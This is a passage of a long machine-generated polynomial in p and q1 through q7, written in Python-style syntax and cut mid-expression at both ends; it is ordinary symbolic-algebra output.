60*p**5*q1*q2**2*q3**2*q4*q5**2*q6 - 60*p**5*q1*q2**2*q3**2*q4*q5*q6**2 - 60*p**5*q1*q2**2*q3**2*q4*q5*q6*q7 + 540*p**5*q1*q2**2*q3**2*q4*q5*q6 - 60*p**5*q1*q2**2*q3*q4**3*q5*q6 - 60*p**5*q1*q2**2*q3*q4**2*q5**2*q6 - 60*p**5*q1*q2**2*q3*q4**2*q5*q6**2 - 60*p**5*q1*q2**2*q3*q4**2*q5*q6*q7 + 540*p**5*q1*q2**2*q3*q4**2*q5*q6 - 60*p**5*q1*q2**2*q3*q4*q5**3*q6 - 60*p**5*q1*q2**2*q3*q4*q5**2*q6**2 - 60*p**5*q1*q2**2*q3*q4*q5**2*q6*q7 + 540*p**5*q1*q2**2*q3*q4*q5**2*q6 - 60*p**5*q1*q2**2*q3*q4*q5*q6**3 - 60*p**5*q1*q2**2*q3*q4*q5*q6**2*q7 + 540*p**5*q1*q2**2*q3*q4*q5*q6**2 - 60*p**5*q1*q2**2*q3*q4*q5*q6*q7**2 + 540*p**5*q1*q2**2*q3*q4*q5*q6*q7 - 2160*p**5*q1*q2**2*q3*q4*q5*q6 - 60*p**5*q1*q2*q3**4*q4*q5*q6 - 60*p**5*q1*q2*q3**3*q4**2*q5*q6 - 60*p**5*q1*q2*q3**3*q4*q5**2*q6 - 60*p**5*q1*q2*q3**3*q4*q5*q6**2 - 60*p**5*q1*q2*q3**3*q4*q5*q6*q7 + 540*p**5*q1*q2*q3**3*q4*q5*q6 - 60*p**5*q1*q2*q3**2*q4**3*q5*q6 - 60*p**5*q1*q2*q3**2*q4**2*q5**2*q6 - 60*p**5*q1*q2*q3**2*q4**2*q5*q6**2 - 60*p**5*q1*q2*q3**2*q4**2*q5*q6*q7 + 540*p**5*q1*q2*q3**2*q4**2*q5*q6 - 60*p**5*q1*q2*q3**2*q4*q5**3*q6 - 60*p**5*q1*q2*q3**2*q4*q5**2*q6**2 - 60*p**5*q1*q2*q3**2*q4*q5**2*q6*q7 + 540*p**5*q1*q2*q3**2*q4*q5**2*q6 - 60*p**5*q1*q2*q3**2*q4*q5*q6**3 - 60*p**5*q1*q2*q3**2*q4*q5*q6**2*q7 + 540*p**5*q1*q2*q3**2*q4*q5*q6**2 - 60*p**5*q1*q2*q3**2*q4*q5*q6*q7**2 + 540*p**5*q1*q2*q3**2*q4*q5*q6*q7 - 2160*p**5*q1*q2*q3**2*q4*q5*q6 - 60*p**5*q1*q2*q3*q4**4*q5*q6 - 60*p**5*q1*q2*q3*q4**3*q5**2*q6 - 60*p**5*q1*q2*q3*q4**3*q5*q6**2 - 60*p**5*q1*q2*q3*q4**3*q5*q6*q7 + 540*p**5*q1*q2*q3*q4**3*q5*q6 - 60*p**5*q1*q2*q3*q4**2*q5**3*q6 - 60*p**5*q1*q2*q3*q4**2*q5**2*q6**2 - 60*p**5*q1*q2*q3*q4**2*q5**2*q6*q7 + 540*p**5*q1*q2*q3*q4**2*q5**2*q6 - 60*p**5*q1*q2*q3*q4**2*q5*q6**3 - 60*p**5*q1*q2*q3*q4**2*q5*q6**2*q7 + 540*p**5*q1*q2*q3*q4**2*q5*q6**2 - 60*p**5*q1*q2*q3*q4**2*q5*q6*q7**2 + 540*p**5*q1*q2*q3*q4**2*q5*q6*q7 - 2160*p**5*q1*q2*q3*q4**2*q5*q6 - 60*p**5*q1*q2*q3*q4*q5**4*q6 - 60*p**5*q1*q2*q3*q4*q5**3*q6**2 - 60*p**5*q1*q2*q3*q4*q5**3*q6*q7 + 540*p**5*q1*q2*q3*q4*q5**3*q6 - 60*p**5*q1*q2*q3*q4*q5**2*q6**3 - 60*p**5*q1*q2*q3*q4*q5**2*q6**2*q7 + 540*p**5*q1*q2*q3*q4*q5**2*q6**2 - 60*p**5*q1*q2*q3*q4*q5**2*q6*q7**2 + 540*p**5*q1*q2*q3*q4*q5**2*q6*q7 - 2160*p**5*q1*q2*q3*q4*q5**2*q6 - 60*p**5*q1*q2*q3*q4*q5*q6**4 - 60*p**5*q1*q2*q3*q4*q5*q6**3*q7 + 540*p**5*q1*q2*q3*q4*q5*q6**3 - 60*p**5*q1*q2*q3*q4*q5*q6**2*q7**2 + 540*p**5*q1*q2*q3*q4*q5*q6**2*q7 - 2160*p**5*q1*q2*q3*q4*q5*q6**2 - 60*p**5*q1*q2*q3*q4*q5*q6*q7**3 + 540*p**5*q1*q2*q3*q4*q5*q6*q7**2 - 2160*p**5*q1*q2*q3*q4*q5*q6*q7 + 5040*p**5*q1*q2*q3*q4*q5*q6 + 225*p**5*q2**4*q3*q4*q5*q6 + 225*p**5*q2**3*q3**2*q4*q5*q6 + 225*p**5*q2**3*q3*q4**2*q5*q6 + 225*p**5*q2**3*q3*q4*q5**2*q6 + 225*p**5*q2**3*q3*q4*q5*q6**2 + 225*p**5*q2**3*q3*q4*q5*q6*q7 - 1800*p**5*q2**3*q3*q4*q5*q6 + 225*p**5*q2**2*q3**3*q4*q5*q6 + 225*p**5*q2**2*q3**2*q4**2*q5*q6 + 225*p**5*q2**2*q3**2*q4*q5**2*q6 + 225*p**5*q2**2*q3**2*q4*q5*q6**2 + 225*p**5*q2**2*q3**2*q4*q5*q6*q7 - 1800*p**5*q2**2*q3**2*q4*q5*q6 + 225*p**5*q2**2*q3*q4**3*q5*q6 + 225*p**5*q2**2*q3*q4**2*q5**2*q6 + 225*p**5*q2**2*q3*q4**2*q5*q6**2 + 225*p**5*q2**2*q3*q4**2*q5*q6*q7 - 1800*p**5*q2**2*q3*q4**2*q5*q6 + 225*p**5*q2**2*q3*q4*q5**3*q6 + 225*p**5*q2**2*q3*q4*q5**2*q6**2 + 225*p**5*q2**2*q3*q4*q5**2*q6*q7 - 1800*p**5*q2**2*q3*q4*q5**2*q6 + 225*p**5*q2**2*q3*q4*q5*q6**3 + 225*p**5*q2**2*q3*q4*q5*q6**2*q7 - 1800*p**5*q2**2*q3*q4*q5*q6**2 + 225*p**5*q2**2*q3*q4*q5*q6*q7**2 - 1800*p**5*q2**2*q3*q4*q5*q6*q7 + 6300*p**5*q2**2*q3*q4*q5*q6 + 225*p**5*q2*q3**4*q4*q5*q6 + 225*p**5*q2*q3**3*q4**2*q5*q6 + 225*p**5*q2*q3**3*q4*q5**2*q6 + 225*p**5*q2*q3**3*q4*q5*q6**2 + 225*p**5*q2*q3**3*q4*q5*q6*q7 - 1800*p**5*q2*q3**3*q4*q5*q6 + 225*p**5*q2*q3**2*q4**3*q5*q6 + 225*p**5*q2*q3**2*q4**2*q5**2*q6 + 225*p**5*q2*q3**2*q4**2*q5*q6**2 + 225*p**5*q2*q3**2*q4**2*q5*q6*q7 - 1800*p**5*q2*q3**2*q4**2*q5*q6 + 225*p**5*q2*q3**2*q4*q5**3*q6 + 225*p**5*q2*q3**2*q4*q5**2*q6**2 + 225*p**5*q2*q3**2*q4*q5**2*q6*q7 - 1800*p**5*q2*q3**2*q4*q5**2*q6 + 225*p**5*q2*q3**2*q4*q5*q6**3 + 225*p**5*q2*q3**2*q4*q5*q6**2*q7 - 1800*p**5*q2*q3**2*q4*q5*q6**2 + 225*p**5*q2*q3**2*q4*q5*q6*q7**2 - 1800*p**5*q2*q3**2*q4*q5*q6*q7 + 6300*p**5*q2*q3**2*q4*q5*q6 + 225*p**5*q2*q3*q4**4*q5*q6 + 225*p**5*q2*q3*q4**3*q5**2*q6 + 225*p**5*q2*q3*q4**3*q5*q6**2 + 225*p**5*q2*q3*q4**3*q5*q6*q7 - 1800*p**5*q2*q3*q4**3*q5*q6 + 225*p**5*q2*q3*q4**2*q5**3*q6 + 225*p**5*q2*q3*q4**2*q5**2*q6**2 + 225*p**5*q2*q3*q4**2*q5**2*q6*q7 - 1800*p**5*q2*q3*q4**2*q5**2*q6 + 225*p**5*q2*q3*q4**2*q5*q6**3 + 225*p**5*q2*q3*q4**2*q5*q6**2*q7 - 1800*p**5*q2*q3*q4**2*q5*q6**2 + 225*p**5*q2*q3*q4**2*q5*q6*q7**2 - 1800*p**5*q2*q3*q4**2*q5*q6*q7 + 6300*p**5*q2*q3*q4**2*q5*q6 + 225*p**5*q2*q3*q4*q5**4*q6 + 225*p**5*q2*q3*q4*q5**3*q6**2 + 225*p**5*q2*q3*q4*q5**3*q6*q7 - 1800*p**5*q2*q3*q4*q5**3*q6 + 225*p**5*q2*q3*q4*q5**2*q6**3 + 225*p**5*q2*q3*q4*q5**2*q6**2*q7 - 1800*p**5*q2*q3*q4*q5**2*q6**2 + 225*p**5*q2*q3*q4*q5**2*q6*q7**2 - 1800*p**5*q2*q3*q4*q5**2*q6*q7 + 6300*p**5*q2*q3*q4*q5**2*q6 + 225*p**5*q2*q3*q4*q5*q6**4 + 225*p**5*q2*q3*q4*q5*q6**3*q7 - 1800*p**5*q2*q3*q4*q5*q6**3 + 225*p**5*q2*q3*q4*q5*q6**2*q7**2 - 1800*p**5*q2*q3*q4*q5*q6**2*q7 + 6300*p**5*q2*q3*q4*q5*q6**2 + 225*p**5*q2*q3*q4*q5*q6*q7**3 - 1800*p**5*q2*q3*q4*q5*q6*q7**2 + 6300*p**5*q2*q3*q4*q5*q6*q7 - 12600*p**5*q2*q3*q4*q5*q6 - 480*p**5*q3**4*q4*q5*q6 - 480*p**5*q3**3*q4**2*q5*q6 - 480*p**5*q3**3*q4*q5**2*q6 - 480*p**5*q3**3*q4*q5*q6**2 - 480*p**5*q3**3*q4*q5*q6*q7 + 3360*p**5*q3**3*q4*q5*q6 - 480*p**5*q3**2*q4**3*q5*q6 - 480*p**5*q3**2*q4**2*q5**2*q6 - 480*p**5*q3**2*q4**2*q5*q6**2 - 480*p**5*q3**2*q4**2*q5*q6*q7 + 3360*p**5*q3**2*q4**2*q5*q6 - 480*p**5*q3**2*q4*q5**3*q6 - 480*p**5*q3**2*q4*q5**2*q6**2 - 480*p**5*q3**2*q4*q5**2*q6*q7 + 3360*p**5*q3**2*q4*q5**2*q6 - 480*p**5*q3**2*q4*q5*q6**3 - 480*p**5*q3**2*q4*q5*q6**2*q7 + 3360*p**5*q3**2*q4*q5*q6**2 - 480*p**5*q3**2*q4*q5*q6*q7**2 + 3360*p**5*q3**2*q4*q5*q6*q7 - 10080*p**5*q3**2*q4*q5*q6 - 480*p**5*q3*q4**4*q5*q6 - 480*p**5*q3*q4**3*q5**2*q6 - 480*p**5*q3*q4**3*q5*q6**2 - 480*p**5*q3*q4**3*q5*q6*q7 + 3360*p**5*q3*q4**3*q5*q6 - 480*p**5*q3*q4**2*q5**3*q6 - 480*p**5*q3*q4**2*q5**2*q6**2 - 480*p**5*q3*q4**2*q5**2*q6*q7 + 3360*p**5*q3*q4**2*q5**2*q6 - 480*p**5*q3*q4**2*q5*q6**3 - 480*p**5*q3*q4**2*q5*q6**2*q7 + 3360*p**5*q3*q4**2*q5*q6**2 - 480*p**5*q3*q4**2*q5*q6*q7**2 + 3360*p**5*q3*q4**2*q5*q6*q7 - 10080*p**5*q3*q4**2*q5*q6 - 480*p**5*q3*q4*q5**4*q6 - 480*p**5*q3*q4*q5**3*q6**2 - 480*p**5*q3*q4*q5**3*q6*q7 + 3360*p**5*q3*q4*q5**3*q6 - 480*p**5*q3*q4*q5**2*q6**3 - 480*p**5*q3*q4*q5**2*q6**2*q7 + 3360*p**5*q3*q4*q5**2*q6**2 - 480*p**5*q3*q4*q5**2*q6*q7**2 + 3360*p**5*q3*q4*q5**2*q6*q7 - 10080*p**5*q3*q4*q5**2*q6 - 480*p**5*q3*q4*q5*q6**4 - 480*p**5*q3*q4*q5*q6**3*q7 + 3360*p**5*q3*q4*q5*q6**3 - 480*p**5*q3*q4*q5*q6**2*q7**2 + 3360*p**5*q3*q4*q5*q6**2*q7 - 10080*p**5*q3*q4*q5*q6**2 - 480*p**5*q3*q4*q5*q6*q7**3 + 3360*p**5*q3*q4*q5*q6*q7**2 - 10080*p**5*q3*q4*q5*q6*q7 + 16800*p**5*q3*q4*q5*q6 + 630*p**5*q4**4*q5*q6 + 630*p**5*q4**3*q5**2*q6 + 630*p**5*q4**3*q5*q6**2 + 630*p**5*q4**3*q5*q6*q7 - 3780*p**5*q4**3*q5*q6 + 630*p**5*q4**2*q5**3*q6 + 630*p**5*q4**2*q5**2*q6**2 + 630*p**5*q4**2*q5**2*q6*q7 - 3780*p**5*q4**2*q5**2*q6 + 630*p**5*q4**2*q5*q6**3 + 630*p**5*q4**2*q5*q6**2*q7 - 3780*p**5*q4**2*q5*q6**2 + 630*p**5*q4**2*q5*q6*q7**2 - 3780*p**5*q4**2*q5*q6*q7 + 9450*p**5*q4**2*q5*q6 + 630*p**5*q4*q5**4*q6 + 630*p**5*q4*q5**3*q6**2 + 630*p**5*q4*q5**3*q6*q7 - 3780*p**5*q4*q5**3*q6 + 630*p**5*q4*q5**2*q6**3 + 630*p**5*q4*q5**2*q6**2*q7 - 3780*p**5*q4*q5**2*q6**2 + 630*p**5*q4*q5**2*q6*q7**2 - 3780*p**5*q4*q5**2*q6*q7 + 9450*p**5*q4*q5**2*q6 + 630*p**5*q4*q5*q6**4 + 630*p**5*q4*q5*q6**3*q7 - 3780*p**5*q4*q5*q6**3 + 630*p**5*q4*q5*q6**2*q7**2 - 3780*p**5*q4*q5*q6**2*q7 + 9450*p**5*q4*q5*q6**2 + 630*p**5*q4*q5*q6*q7**3 - 3780*p**5*q4*q5*q6*q7**2 + 9450*p**5*q4*q5*q6*q7 - 12600*p**5*q4*q5*q6 - 504*p**5*q5**4*q6 - 504*p**5*q5**3*q6**2 - 504*p**5*q5**3*q6*q7 + 2520*p**5*q5**3*q6 - 504*p**5*q5**2*q6**3 - 504*p**5*q5**2*q6**2*q7 + 2520*p**5*q5**2*q6**2 - 504*p**5*q5**2*q6*q7**2 + 2520*p**5*q5**2*q6*q7 - 5040*p**5*q5**2*q6 - 504*p**5*q5*q6**4 - 504*p**5*q5*q6**3*q7 + 2520*p**5*q5*q6**3 - 504*p**5*q5*q6**2*q7**2 + 2520*p**5*q5*q6**2*q7 - 5040*p**5*q5*q6**2 - 504*p**5*q5*q6*q7**3 + 2520*p**5*q5*q6*q7**2 - 5040*p**5*q5*q6*q7 + 5040*p**5*q5*q6 + 210*p**5*q6**4 + 210*p**5*q6**3*q7 - 840*p**5*q6**3 + 210*p**5*q6**2*q7**2 - 840*p**5*q6**2*q7 + 1260*p**5*q6**2 + 210*p**5*q6*q7**3 - 840*p**5*q6*q7**2 + 1260*p**5*q6*q7 - 840*p**5*q6 + 150*p**4*q1**4*q2*q3*q4*q5*q6 + 150*p**4*q1**3*q2**2*q3*q4*q5*q6 + 150*p**4*q1**3*q2*q3**2*q4*q5*q6 + 150*p**4*q1**3*q2*q3*q4**2*q5*q6 + 150*p**4*q1**3*q2*q3*q4*q5**2*q6 + 150*p**4*q1**3*q2*q3*q4*q5*q6**2 + 150*p**4*q1**3*q2*q3*q4*q5*q6*q7 - 1350*p**4*q1**3*q2*q3*q4*q5*q6 + 150*p**4*q1**2*q2**3*q3*q4*q5*q6 + 150*p**4*q1**2*q2**2*q3**2*q4*q5*q6 + 150*p**4*q1**2*q2**2*q3*q4**2*q5*q6 + 150*p**4*q1**2*q2**2*q3*q4*q5**2*q6 + 150*p**4*q1**2*q2**2*q3*q4*q5*q6**2 + 150*p**4*q1**2*q2**2*q3*q4*q5*q6*q7 - 1350*p**4*q1**2*q2**2*q3*q4*q5*q6 + 150*p**4*q1**2*q2*q3**3*q4*q5*q6 + 150*p**4*q1**2*q2*q3**2*q4**2*q5*q6 + 150*p**4*q1**2*q2*q3**2*q4*q5**2*q6 + 150*p**4*q1**2*q2*q3**2*q4*q5*q6**2 + 150*p**4*q1**2*q2*q3**2*q4*q5*q6*q7 - 1350*p**4*q1**2*q2*q3**2*q4*q5*q6 + 150*p**4*q1**2*q2*q3*q4**3*q5*q6 + 150*p**4*q1**2*q2*q3*q4**2*q5**2*q6 + 150*p**4*q1**2*q2*q3*q4**2*q5*q6**2 + 150*p**4*q1**2*q2*q3*q4**2*q5*q6*q7 - 1350*p**4*q1**2*q2*q3*q4**2*q5*q6 + 150*p**4*q1**2*q2*q3*q4*q5**3*q6 + 150*p**4*q1**2*q2*q3*q4*q5**2*q6**2 + 150*p**4*q1**2*q2*q3*q4*q5**2*q6*q7 - 1350*p**4*q1**2*q2*q3*q4*q5**2*q6 + 150*p**4*q1**2*q2*q3*q4*q5*q6**3 + 150*p**4*q1**2*q2*q3*q4*q5*q6**2*q7 - 1350*p**4*q1**2*q2*q3*q4*q5*q6**2 + 150*p**4*q1**2*q2*q3*q4*q5*q6*q7**2 - 1350*p**4*q1**2*q2*q3*q4*q5*q6*q7 + 5400*p**4*q1**2*q2*q3*q4*q5*q6 + 150*p**4*q1*q2**4*q3*q4*q5*q6 + 150*p**4*q1*q2**3*q3**2*q4*q5*q6 + 150*p**4*q1*q2**3*q3*q4**2*q5*q6 + 150*p**4*q1*q2**3*q3*q4*q5**2*q6 + 150*p**4*q1*q2**3*q3*q4*q5*q6**2 + 150*p**4*q1*q2**3*q3*q4*q5*q6*q7 - 1350*p**4*q1*q2**3*q3*q4*q5*q6 + 150*p**4*q1*q2**2*q3**3*q4*q5*q6 + 150*p**4*q1*q2**2*q3**2*q4**2*q5*q6 + 150*p**4*q1*q2**2*q3**2*q4*q5**2*q6 + 150*p**4*q1*q2**2*q3**2*q4*q5*q6**2 + 150*p**4*q1*q2**2*q3**2*q4*q5*q6*q7 - 1350*p**4*q1*q2**2*q3**2*q4*q5*q6 + 150*p**4*q1*q2**2*q3*q4**3*q5*q6 + 150*p**4*q1*q2**2*q3*q4**2*q5**2*q6 + 150*p**4*q1*q2**2*q3*q4**2*q5*q6**2 + 150*p**4*q1*q2**2*q3*q4**2*q5*q6*q7 - 1350*p**4*q1*q2**2*q3*q4**2*q5*q6 + 150*p**4*q1*q2**2*q3*q4*q5**3*q6 + 150*p**4*q1*q2**2*q3*q4*q5**2*q6**2 + 150*p**4*q1*q2**2*q3*q4*q5**2*q6*q7 - 1350*p**4*q1*q2**2*q3*q4*q5**2*q6 + 150*p**4*q1*q2**2*q3*q4*q5*q6**3 + 150*p**4*q1*q2**2*q3*q4*q5*q6**2*q7 - 1350*p**4*q1*q2**2*q3*q4*q5*q6**2 + 150*p**4*q1*q2**2*q3*q4*q5*q6*q7**2 - 1350*p**4*q1*q2**2*q3*q4*q5*q6*q7 + 5400*p**4*q1*q2**2*q3*q4*q5*q6 + 150*p**4*q1*q2*q3**4*q4*q5*q6 + 150*p**4*q1*q2*q3**3*q4**2*q5*q6 + 150*p**4*q1*q2*q3**3*q4*q5**2*q6 + 150*p**4*q1*q2*q3**3*q4*q5*q6**2 + 150*p**4*q1*q2*q3**3*q4*q5*q6*q7 - 1350*p**4*q1*q2*q3**3*q4*q5*q6 + 150*p**4*q1*q2*q3**2*q4**3*q5*q6 + 150*p**4*q1*q2*q3**2*q4**2*q5**2*q6 + 150*p**4*q1*q2*q3**2*q4**2*q5*q6**2 + 150*p**4*q1*q2*q3**2*q4**2*q5*q6*q7 - 1350*p**4*q1*q2*q3**2*q4**2*q5*q6 + 150*p**4*q1*q2*q3**2*q4*q5**3*q6 + 150*p**4*q1*q2*q3**2*q4*q5**2*q6**2 + 150*p**4*q1*q2*q3**2*q4*q5**2*q6*q7 - 1350*p**4*q1*q2*q3**2*q4*q5**2*q6 + 150*p**4*q1*q2*q3**2*q4*q5*q6**3 + 150*p**4*q1*q2*q3**2*q4*q5*q6**2*q7 - 1350*p**4*q1*q2*q3**2*q4*q5*q6**2 + 150*p**4*q1*q2*q3**2*q4*q5*q6*q7**2 - 1350*p**4*q1*q2*q3**2*q4*q5*q6*q7 + 5400*p**4*q1*q2*q3**2*q4*q5*q6 + 150*p**4*q1*q2*q3*q4**4*q5*q6 + 150*p**4*q1*q2*q3*q4**3*q5**2*q6 + 150*p**4*q1*q2*q3*q4**3*q5*q6**2 + 150*p**4*q1*q2*q3*q4**3*q5*q6*q7 - 1350*p**4*q1*q2*q3*q4**3*q5*q6 + 150*p**4*q1*q2*q3*q4**2*q5**3*q6 + 150*p**4*q1*q2*q3*q4**2*q5**2*q6**2 + 150*p**4*q1*q2*q3*q4**2*q5**2*q6*q7 - 1350*p**4*q1*q2*q3*q4**2*q5**2*q6 + 150*p**4*q1*q2*q3*q4**2*q5*q6**3 + 150*p**4*q1*q2*q3*q4**2*q5*q6**2*q7 - 1350*p**4*q1*q2*q3*q4**2*q5*q6**2 + 150*p**4*q1*q2*q3*q4**2*q5*q6*q7**2 - 1350*p**4*q1*q2*q3*q4**2*q5*q6*q7 + 5400*p**4*q1*q2*q3*q4**2*q5*q6 + 150*p**4*q1*q2*q3*q4*q5**4*q6 + 150*p**4*q1*q2*q3*q4*q5**3*q6**2 + 150*p**4*q1*q2*q3*q4*q5**3*q6*q7 - 1350*p**4*q1*q2*q3*q4*q5**3*q6 + 150*p**4*q1*q2*q3*q4*q5**2*q6**3 + 150*p**4*q1*q2*q3*q4*q5**2*q6**2*q7 - 1350*p**4*q1*q2*q3*q4*q5**2*q6**2 + 150*p**4*q1*q2*q3*q4*q5**2*q6*q7**2 - 1350*p**4*q1*q2*q3*q4*q5**2*q6*q7 + 5400*p**4*q1*q2*q3*q4*q5**2*q6 + 150*p**4*q1*q2*q3*q4*q5*q6**4 + 150*p**4*q1*q2*q3*q4*q5*q6**3*q7 - 1350*p**4*q1*q2*q3*q4*q5*q6**3 + 150*p**4*q1*q2*q3*q4*q5*q6**2*q7**2 - 1350*p**4*q1*q2*q3*q4*q5*q6**2*q7 + 5400*p**4*q1*q2*q3*q4*q5*q6**2 + 150*p**4*q1*q2*q3*q4*q5*q6*q7**3 - 1350*p**4*q1*q2*q3*q4*q5*q6*q7**2 + 5400*p**4*q1*q2*q3*q4*q5*q6*q7 - 12600*p**4*q1*q2*q3*q4*q5*q6 - 450*p**4*q2**4*q3*q4*q5*q6 - 450*p**4*q2**3*q3**2*q4*q5*q6 - 450*p**4*q2**3*q3*q4**2*q5*q6 - 450*p**4*q2**3*q3*q4*q5**2*q6 - 450*p**4*q2**3*q3*q4*q5*q6**2 - 450*p**4*q2**3*q3*q4*q5*q6*q7 + 3600*p**4*q2**3*q3*q4*q5*q6 - 450*p**4*q2**2*q3**3*q4*q5*q6 - 450*p**4*q2**2*q3**2*q4**2*q5*q6 - 450*p**4*q2**2*q3**2*q4*q5**2*q6 - 450*p**4*q2**2*q3**2*q4*q5*q6**2 - 450*p**4*q2**2*q3**2*q4*q5*q6*q7 + 3600*p**4*q2**2*q3**2*q4*q5*q6 - 450*p**4*q2**2*q3*q4**3*q5*q6 - 450*p**4*q2**2*q3*q4**2*q5**2*q6 - 450*p**4*q2**2*q3*q4**2*q5*q6**2 - 450*p**4*q2**2*q3*q4**2*q5*q6*q7 + 3600*p**4*q2**2*q3*q4**2*q5*q6 - 450*p**4*q2**2*q3*q4*q5**3*q6 - 450*p**4*q2**2*q3*q4*q5**2*q6**2 - 450*p**4*q2**2*q3*q4*q5**2*q6*q7 + 3600*p**4*q2**2*q3*q4*q5**2*q6 - 450*p**4*q2**2*q3*q4*q5*q6**3 - 450*p**4*q2**2*q3*q4*q5*q6**2*q7 + 3600*p**4*q2**2*q3*q4*q5*q6**2 - 450*p**4*q2**2*q3*q4*q5*q6*q7**2 + 3600*p**4*q2**2*q3*q4*q5*q6*q7 - 12600*p**4*q2**2*q3*q4*q5*q6 - 450*p**4*q2*q3**4*q4*q5*q6 - 450*p**4*q2*q3**3*q4**2*q5*q6 - 450*p**4*q2*q3**3*q4*q5**2*q6 - 450*p**4*q2*q3**3*q4*q5*q6**2 - 450*p**4*q2*q3**3*q4*q5*q6*q7 + 3600*p**4*q2*q3**3*q4*q5*q6 - 450*p**4*q2*q3**2*q4**3*q5*q6 - 450*p**4*q2*q3**2*q4**2*q5**2*q6 - 450*p**4*q2*q3**2*q4**2*q5*q6**2 - 450*p**4*q2*q3**2*q4**2*q5*q6*q7 + 3600*p**4*q2*q3**2*q4**2*q5*q6 - 450*p**4*q2*q3**2*q4*q5**3*q6 - 450*p**4*q2*q3**2*q4*q5**2*q6**2 - 450*p**4*q2*q3**2*q4*q5**2*q6*q7 + 3600*p**4*q2*q3**2*q4*q5**2*q6 - 450*p**4*q2*q3**2*q4*q5*q6**3 - 450*p**4*q2*q3**2*q4*q5*q6**2*q7 + 3600*p**4*q2*q3**2*q4*q5*q6**2 - 450*p**4*q2*q3**2*q4*q5*q6*q7**2 + 3600*p**4*q2*q3**2*q4*q5*q6*q7 - 12600*p**4*q2*q3**2*q4*q5*q6 - 450*p**4*q2*q3*q4**4*q5*q6 - 450*p**4*q2*q3*q4**3*q5**2*q6 - 450*p**4*q2*q3*q4**3*q5*q6**2 - 450*p**4*q2*q3*q4**3*q5*q6*q7 + 3600*p**4*q2*q3*q4**3*q5*q6 - 450*p**4*q2*q3*q4**2*q5**3*q6 - 450*p**4*q2*q3*q4**2*q5**2*q6**2 - 450*p**4*q2*q3*q4**2*q5**2*q6*q7 + 3600*p**4*q2*q3*q4**2*q5**2*q6 - 450*p**4*q2*q3*q4**2*q5*q6**3 - 450*p**4*q2*q3*q4**2*q5*q6**2*q7 + 3600*p**4*q2*q3*q4**2*q5*q6**2 - 450*p**4*q2*q3*q4**2*q5*q6*q7**2 + 3600*p**4*q2*q3*q4**2*q5*q6*q7 - 12600*p**4*q2*q3*q4**2*q5*q6 - 450*p**4*q2*q3*q4*q5**4*q6 - 450*p**4*q2*q3*q4*q5**3*q6**2 - 450*p**4*q2*q3*q4*q5**3*q6*q7 + 3600*p**4*q2*q3*q4*q5**3*q6 - 450*p**4*q2*q3*q4*q5**2*q6**3 - 450*p**4*q2*q3*q4*q5**2*q6**2*q7 + 3600*p**4*q2*q3*q4*q5**2*q6**2 - 450*p**4*q2*q3*q4*q5**2*q6*q7**2 + 3600*p**4*q2*q3*q4*q5**2*q6*q7 - 12600*p**4*q2*q3*q4*q5**2*q6 - 450*p**4*q2*q3*q4*q5*q6**4 - 450*p**4*q2*q3*q4*q5*q6**3*q7 + 3600*p**4*q2*q3*q4*q5*q6**3 - 450*p**4*q2*q3*q4*q5*q6**2*q7**2 + 3600*p**4*q2*q3*q4*q5*q6**2*q7 - 12600*p**4*q2*q3*q4*q5*q6**2 - 450*p**4*q2*q3*q4*q5*q6*q7**3 + 3600*p**4*q2*q3*q4*q5*q6*q7**2 - 12600*p**4*q2*q3*q4*q5*q6*q7 + 25200*p**4*q2*q3*q4*q5*q6 + 720*p**4*q3**4*q4*q5*q6 + 720*p**4*q3**3*q4**2*q5*q6 + 720*p**4*q3**3*q4*q5**2*q6 + 720*p**4*q3**3*q4*q5*q6**2 + 720*p**4*q3**3*q4*q5*q6*q7 - 5040*p**4*q3**3*q4*q5*q6 + 720*p**4*q3**2*q4**3*q5*q6 + 720*p**4*q3**2*q4**2*q5**2*q6 + 720*p**4*q3**2*q4**2*q5*q6**2 + 720*p**4*q3**2*q4**2*q5*q6*q7 - 5040*p**4*q3**2*q4**2*q5*q6 + 720*p**4*q3**2*q4*q5**3*q6 + 720*p**4*q3**2*q4*q5**2*q6**2 + 720*p**4*q3**2*q4*q5**2*q6*q7 - 5040*p**4*q3**2*q4*q5**2*q6 + 720*p**4*q3**2*q4*q5*q6**3 + 720*p**4*q3**2*q4*q5*q6**2*q7 - 5040*p**4*q3**2*q4*q5*q6**2 + 720*p**4*q3**2*q4*q5*q6*q7**2 - 5040*p**4*q3**2*q4*q5*q6*q7 + 15120*p**4*q3**2*q4*q5*q6 + 720*p**4*q3*q4**4*q5*q6 + 720*p**4*q3*q4**3*q5**2*q6 + 720*p**4*q3*q4**3*q5*q6**2 + 720*p**4*q3*q4**3*q5*q6*q7 - 5040*p**4*q3*q4**3*q5*q6 + 720*p**4*q3*q4**2*q5**3*q6 + 720*p**4*q3*q4**2*q5**2*q6**2 + 720*p**4*q3*q4**2*q5**2*q6*q7 - 5040*p**4*q3*q4**2*q5**2*q6 + 720*p**4*q3*q4**2*q5*q6**3 + 720*p**4*q3*q4**2*q5*q6**2*q7 - 5040*p**4*q3*q4**2*q5*q6**2 + 720*p**4*q3*q4**2*q5*q6*q7**2 - 5040*p**4*q3*q4**2*q5*q6*q7 + 15120*p**4*q3*q4**2*q5*q6 + 720*p**4*q3*q4*q5**4*q6 + 720*p**4*q3*q4*q5**3*q6**2 + 720*p**4*q3*q4*q5**3*q6*q7 - 5040*p**4*q3*q4*q5**3*q6 + 720*p**4*q3*q4*q5**2*q6**3 + 720*p**4*q3*q4*q5**2*q6**2*q7 - 5040*p**4*q3*q4*q5**2*q6**2 + 720*p**4*q3*q4*q5**2*q6*q7**2 - 5040*p**4*q3*q4*q5**2*q6*q7 + 15120*p**4*q3*q4*q5**2*q6 + 720*p**4*q3*q4*q5*q6**4 + 720*p**4*q3*q4*q5*q6**3*q7 - 5040*p**4*q3*q4*q5*q6**3 + 720*p**4*q3*q4*q5*q6**2*q7**2 - 5040*p**4*q3*q4*q5*q6**2*q7 + 15120*p**4*q3*q4*q5*q6**2 + 720*p**4*q3*q4*q5*q6*q7**3 - 5040*p**4*q3*q4*q5*q6*q7**2 + 15120*p**4*q3*q4*q5*q6*q7 - 25200*p**4*q3*q4*q5*q6 - 630*p**4*q4**4*q5*q6 - 630*p**4*q4**3*q5**2*q6 - 630*p**4*q4**3*q5*q6**2 - 630*p**4*q4**3*q5*q6*q7 + 3780*p**4*q4**3*q5*q6 - 630*p**4*q4**2*q5**3*q6 - 630*p**4*q4**2*q5**2*q6**2 - 630*p**4*q4**2*q5**2*q6*q7 + 3780*p**4*q4**2*q5**2*q6 - 630*p**4*q4**2*q5*q6**3 - 630*p**4*q4**2*q5*q6**2*q7 + 3780*p**4*q4**2*q5*q6**2 - 